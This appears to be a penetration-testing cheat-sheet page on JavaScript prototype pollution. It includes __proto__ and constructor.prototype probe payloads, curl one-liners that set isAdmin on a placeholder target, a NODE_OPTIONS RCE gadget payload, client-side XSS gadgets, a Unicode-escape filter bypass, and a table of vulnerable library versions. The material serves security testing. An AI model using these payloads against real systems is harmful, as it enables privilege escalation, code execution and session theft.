WEB15 Prototype Pollution
Sections WEB15 Prototype Pollution
JavaScript-specific. Setting __proto__ or constructor.prototype properties on an object pollutes the prototype of ALL objects of that class. Gadgets in libraries turn that into RCE (server) or XSS (client).
T=https://target.com
i. Where it lives
Prototype pollution requires a code pattern like:
function merge(target, source) {
for (let key in source) {
if (typeof source[key] === 'object') {
merge(target[key], source[key]); // recursive - pollutes if source has __proto__
} else {
target[key] = source[key];
}
}
}
Common surfaces:
- JSON merge / extend / clone helpers (lodash
_.merge, jQuery$.extend(true, ...), deep-extend, deeply) - Object.assign-like helpers that recursively merge user input
- Express middleware that merges req.body into options
- Query string parsers (qs, querystring, express body parser) - controller actions that take entire object directly into merge
- Configuration loaders that merge user JSON into defaults
- Mongoose pre-save hooks that merge user data
- React/Vue prop merging in libraries
Two flavors:
- Server-side (Node.js apps) → RCE via gadget
- Client-side (any JS in the browser) → XSS via gadget
ii. Server-side detection
When the app accepts JSON, send:
{"__proto__": {"polluted": "yes"}}
Or for stacked / nested attacks:
{"constructor": {"prototype": {"polluted": "yes"}}}
Then make a separate, unrelated request to ANY endpoint that returns JSON. If polluted: "yes" appears in an unrelated response → vuln confirmed.
Alternative test - pollute a common Node.js HTTP option:
{"__proto__": {"_method": "PUT"}}
Then make a subsequent request. If Express interprets the method as PUT despite POST → polluted.
Or check Node.js global flags:
{"__proto__": {"isAdmin": true}}
Make a follow-up authenticated request. If isAdmin is now true → polluted.
iii. Server-side detection one-liner
Single curl probe + read of any reflected response. Both __proto__ and constructor.prototype need testing:
## Pollute:
curl -X POST "$T/api/users" -H "Content-Type: application/json" \
-d '{"__proto__": {"isAdmin": true}}'
## Read back from any endpoint:
curl -s "$T/api/me" | jq
## isAdmin shows up where it shouldn't
Some apps need a server restart for the pollution to clear - note this when reporting (persistence model).
iv. Tools
PPMap / ppmap
Detects pollutions on Express-style apps:
git clone https://github.com/y0giii/Server-Side-Prototype-Pollution-Gadgets
## Various tools in there for testing common gadgets
The tooling space for server-side PP is still maturing - manual is more reliable than automated tools for now.
DOM Invader (Burp Pro)
Best client-side PP detection. Enable in Burp’s Chromium → Settings → DOM Invader → Enable Prototype Pollution. Browse the target. DOM Invader reports every controllable source-to-pollution-sink path it sees.
nuclei + custom templates
nuclei -u "$T" -tags pp,prototype
Catches common patterns like the Express body parser merge bugs.
PortSwigger’s PP scanner (Burp Pro)
Active scanner audit phase covers server-side PP.
v. Client-side prototype pollution
DOM PP happens when client JS does merges with location.hash, location.search, window.name, postMessage data, or any other client-controllable input.
Probe via URL:
https://target.com/#__proto__[polluted]=yes
https://target.com/?__proto__[polluted]=yes
https://target.com/#?__proto__.polluted=yes
In browser console after visit:
console.log(Object.prototype.polluted) // "yes" → vuln
DOM Invader handles this automatically - paste the target URL, watch for findings.
vi. From pollution to impact
Pollution alone is harmless. You need a “gadget” - application code that later reads a property and assumes it doesn’t exist.
Server-side RCE gadgets
The classic Node.js RCE gadget involves polluting properties that get used in child_process.spawn() / child_process.exec() calls with the options parameter:
{
"__proto__": {
"shell": "/bin/sh",
"argv0": "node",
"env": {"NODE_OPTIONS": "--require /tmp/payload.js"}
}
}
When the app later calls child_process.exec('ls') with no options, the polluted prototype provides shell, argv0, and env, leading to code execution via NODE_OPTIONS injection.
The full chain depends on libraries loaded. Look at:
- Server-Side Prototype Pollution Gadgets
- PortSwigger - Server-side prototype pollution
- HackTricks - Server-side PP
Common library-specific gadgets:
lodash.template- polluted options enable code executionejs.render- polluted options inject codehandlebars- polluted helpersmongoosequeries - pollution affects model behaviorexpress-validatorconfig
Client-side XSS gadgets
Pollute properties that later end up in innerHTML, eval(), document.write(), or as a src attribute:
| Gadget | Pollution that triggers XSS |
|---|---|
jQuery 3.0-3.4.0 $() | __proto__[context] |
| Embed.ly | __proto__[allowedMediaTypes] |
| Google Analytics | varies by gadget |
| Various Vue / Angular configs | per-version |
Check client-side-prototype-pollution for an enumerated list. The site gives you “if this library is loaded, here’s the pollution that triggers XSS.”
Auth bypass gadgets
Property checks like if (!user.isAdmin) become permissive when prototype pollution sets isAdmin: true globally. Test by polluting then accessing privileged endpoints.
vii. Detection probes table
Test all of these (different parsers handle each differently):
?__proto__[polluted]=yes
?__proto__.polluted=yes
?constructor[prototype][polluted]=yes
?constructor.prototype.polluted=yes
# JSON body:
{"__proto__":{"polluted":"yes"}}
{"constructor":{"prototype":{"polluted":"yes"}}}
# Nested:
{"a":{"b":{"__proto__":{"polluted":"yes"}}}}
Different middleware exposes different ones. Trying all four common formats covers most cases.
viii. Tricks worth knowing
Persistence and propagation
Once polluted, the prototype stays polluted for the lifetime of that Node.js process. The next 1000 requests inherit your pollution. This is also its detection mechanism - pollute first, observe later.
After-effect testing
Don’t just check the response to the polluting request. The pollution effect is on SUBSEQUENT requests. Send the pollution request, then 5-10 follow-up requests to various endpoints. Watch for unusual responses where expected fields appear with your polluted values.
Type coercion abuse
Pollute boolean / numeric checks:
{"__proto__": {"length": -1}}
Loops with for (let i = 0; i < arr.length; i++) may misbehave. Useful for race conditions and bypassing length-based checks.
Multiple-stage chains
First pollute prototype, then exploit a separate input that becomes RCE because the polluted defaults activate. Two-step attacks are harder to detect but common in real apps.
Object.create(null) is safe
Objects created with Object.create(null) have no prototype chain. Code using these isn’t vulnerable. Frameworks shifting to this pattern post-2020 are partly closing the bug class.
Combine with JSON deserialization
JSON.parse doesn’t pollute. But once parsed, recursive helpers (merge/extend/clone) DO. Look for code that JSON.parses input then merges into config - the merge is where pollution lands.
Use jsfuck-like obfuscation for filter bypass
Some apps filter __proto__ or constructor literals. Bypass:
\u005f\u005fproto\u005f\u005f
constructor.constructor
JSON parsers accept Unicode escapes that don’t appear as __proto__ in string scanning.
ix. Library-specific notes
| Library | Note |
|---|---|
| lodash < 4.17.5 | _.merge, _.set, _.defaultsDeep all vulnerable |
| lodash >= 4.17.12 | __proto__ blocked, constructor.prototype still works in some versions |
| jQuery < 3.4.0 | $.extend(true, ...) vulnerable |
| express-validator < 6.6.1 | Body sanitization PP |
| qs (via Express) < 6.7.3 | Query parsing PP |
| mongoose < 6.4.6 | Document.toObject PP gadget |
| dot-prop < 5.1.1 | All set ops vulnerable |
| handlebars | Multiple gadgets per version |
| ejs | Polluted options → RCE |
Check package-lock.json if you have source access. The vulnerable version is often still pinned.
x. References
- PortSwigger - Prototype pollution
- PortSwigger - Server-side prototype pollution
- PortSwigger - Client-side prototype pollution
- PayloadsAllTheThings - Prototype Pollution
- HackTricks - NodeJS proto/prototype pollution
- Server-Side PP Gadgets
- Client-Side PP database
- DOM Invader docs
xi. Where it leads
- Server-side RCE via gadget → standard Node.js foothold → 03 Shell & Tooling / Reverse Shells
- Client-side XSS via gadget → session theft → see WEB08 XSS
- Auth bypass (isAdmin pollution) → privilege escalation in-app
- Data exposure (default property pollution affects queries/serialization)
Prototype pollution sits between deserialization and XSS - JavaScript-specific, requires gadgets, but a top-tier finding when it lands because it’s wide-ranging and often missed by AppSec scanners.